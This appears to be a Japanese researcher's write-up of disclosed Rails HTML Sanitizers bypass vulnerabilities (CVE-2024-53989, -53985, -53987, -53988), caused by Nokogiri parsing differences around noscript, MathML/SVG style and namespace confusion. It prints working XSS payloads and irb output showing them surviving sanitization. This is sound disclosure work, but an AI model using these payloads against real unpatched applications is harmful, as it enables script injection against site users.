taise

Rails HTML Sanitizersのバイパス

Rails HTML Sanitizersは信頼できないユーザー入力をHTMLとして扱う際にJavaScriptの実行などの危険な操作を防ぐ、所謂HTMLサニタイザです。 mokusouと調査を行ったところ、Rails HTML Sanitizerは複数の方法でバイパスできることがわかりました。

CVE-2024-53989

Rails HTML SanitizersはHTMLの解析にNokogiriを使用しています。

これを報告するまでNokogiriは常にscriptフラグが無効な状態でHTMLを解釈していました

これJavaScriptが無効化された環境用で、<script>を実行できない代わりに<noscript>を表示するものです。 一般的なブラウザのようなavaScriptが有効な環境では<noscript>タグは「script enabled」として扱われるため、Rails HTML Sanitizersとブラウザ間でHTMLの解釈に差異が生まれます。

scirptフラグが有効な場合、<noscript>RAWTEXTとして解釈されます。

このタグの中に記述された文字は文字列として解釈されるため、この中にタグを書いてもHTMLタグとして評価されません。

例:

<noscript><script>alert(1)</script></noscript>
└── NOSCRIPT
   └──#text: <script>alert(1)</script>

一方で、Nokogiriはscriptモードが無効な状態で、<noscript>タグを解釈するため、<noscript>タグ内のHTMLタグを解釈します。

irb(main):018:0> Nokogiri::HTML5.parse("<noscript><script>alert(1)</script></noscript>")
=> 
#(Document:0xf97f4 {
  name = "document",
  children = [
    #(Element:0xf9920 {
      name = "html",
      children = [
        #(Element:0xf9a4c { name = "head", children = [ 
            #(Element:0xf9b78 { name = "noscript" }),
            #(Element:0xf9c7c { name = "script", children = [ #(Text "alert(1)")] })
        ]}),
        #(Element:0xf9eac { name = "body" })]
      })]
  })

そのため、次のような文字列を渡すとNokogiriによるデシリアライズでは<p>タグのid属性内に</noscript><script>alert(1)</script>が隠されます。

irb(main):050:0> Nokogiri::HTML5.parse('<noscript><p id="</noscript><script>alert(1)</script>"></noscript>')
=> 
#(Document:0x1e5474 {
  name = "document",
  children = [
    #(Element:0x1e55a0 {
      name = "html",
      children = [
        #(Element:0x1e56cc { name = "head", children = [ #(Element:0x1e57f8 { name = "noscript" })] }),
        #(Element:0x1e594c {
          name = "body",
          children = [
            #(Element:0x1e5a78 { name = "p", attribute_nodes = [ #(Attr:0x1e5ba4 { name = "id", value = "</noscript><script>alert(1)</script>" }) ] })
          ]
        })]
      })]
  })

これにより、Rails HTML Sanitizersは<script>alert(1)</script>を取り除きません。

irb(main):011:0> Rails::HTML5::SafeListSanitizer.new.sanitize('<noscript><p id="</noscript><script>alert(1)</script>"></noscript>', tags:%w(p noscript), attributes:%w(id))

=> "<noscript><p id=\"</noscript><script>alert(1)</script>\"></p></noscript>"

サニタイズされた<noscript><p id="</noscript><script>alert(1)</script>"></p></noscript>をscriptフラグが有効なブラウザで解釈させると、<noscript>タグは</noscript>に遭遇するまでに遭遇した文字はただの文字として扱います。

</noscript>でタグが閉じられるため、後続の<script>がタグとして解釈されます。

└─ HTML
   ├── HEAD
   │   ├─ NOSCRIPT
   │   │   └─ #text: <p id="
   │   └─ SCRIPT
   │      └─ #text: alert(1)
   └─ BDOY
      ├─ #text: ">
      └─ P

これは<noscript>が明示的に許可されている場合のみ攻撃が可能でした。

CVE-2024-53985

HTMLには名前空間と呼ばれる仕組みがあり、異なる名前空間ではHTMLの解釈方法が異なります。 HTML名前空間の<style>タグRAWTEXTとして扱われますが、MathML、SVG名前空間内では通常のタグとして扱われます。

Nokogiriはこれを考慮せず、 MathMLおよびSVG名前空間内の<style>タグをHTML名前空間と同じRAWTEXTとしてデシリアライズする挙動がありました。 (この記事を書きながらづいたのですが、Nokogiriは<style>タグはRAWTEXTtとして解釈せずRCDATAとして解釈しているかもしれないです。

RCDATAでは、いわゆるHTMLエンコードされた文字はCharacter reference stateによりデコードされます。

例:

<textarea>&lt;img src onerror=alert(1)></textarea>
└─ TEXTAREA
   └─ text: <img src onerror=alert(1)>

そのため、 Rails HTML Sanitizersに<svg><style>&lt;img src onerror=alert(1)>を与えると誤って&lt;<にデコードされてしまいました。

irb(main):014:0>  Nokogiri::HTML5::DocumentFragment.parse("<svg><style>&lt;img src onerror=alert(1)>")
=>
#(DocumentFragment:0x35c {
  name = "#document-fragment",
  children = [
    #(Element:0x370 {
      name = "svg",
      namespace = #(Namespace:0x384 { prefix = "svg", href = "http://www.w3.org/2000/svg" }),
      children = [
        #(Element:0x398 {
          name = "style",
          namespace = #(Namespace:0x384 { prefix = "svg", href = "http://www.w3.org/2000/svg" }),
          children = [ #(Text "<img src onerror=alert(1)>")]
          })]
      })]
  })


irb(main):015:0>  Nokogiri::HTML5::DocumentFragment.parse("<svg><style>&lt;img src onerror=alert(1)>").to_html

=> "<svg><style><img src onerror=alert(1)></style></svg>"

<style>および、<svg>または<mathml>が明示的に許可されている場合のみ攻撃が可能でした。

CVE-2024-53987, CVE-2024-53988

Rails HTML Sanitizerはデフォルトの場合、子要素から親要素に向けてタグをサニタイズします。 サニタイズ後に名前空間が変わりうることを考慮されていなかったため、名前空間の混乱を引き起こすことが可能でした。

Rails HTML Sanitizersはデフォルトで<svg><math>を除去します。 明示的に<style>を許可している場合において、次のようなHTMLを考えます。

<math>
    <style>
        <style class="</style><script>alert(1)</script>">

この中の<style>は全てMathML名前空間にあるため、<scipt>alert(1)</script>部分は属性値に隠されています。

└─ math
   ├─ style
      └─ style class="</style><script>alert(1)</script>"

子要素から親要素に向けて検査を行った場合、<script>alert(1)</script>は属性値であるため除去されずに残ります。 <math>が禁止タグなのでサニタイズ結果として次の文字列が返されます。

<style><style class="</style><script>alert(1)</script>"></style></style>

サニタイズ後の<style>がHTML名前空間として解釈されます。

└─ HTML
   ├── HEAD
   │   ├─ STYLE
   │   │   └─ #text: <style class="
   │   └─ SCRIPT
   │      └─ #text: alert(1)
   └─ BDOY
      └─ #text: ">

<style>タグが明示的に許可されている場合に攻撃が可能でした。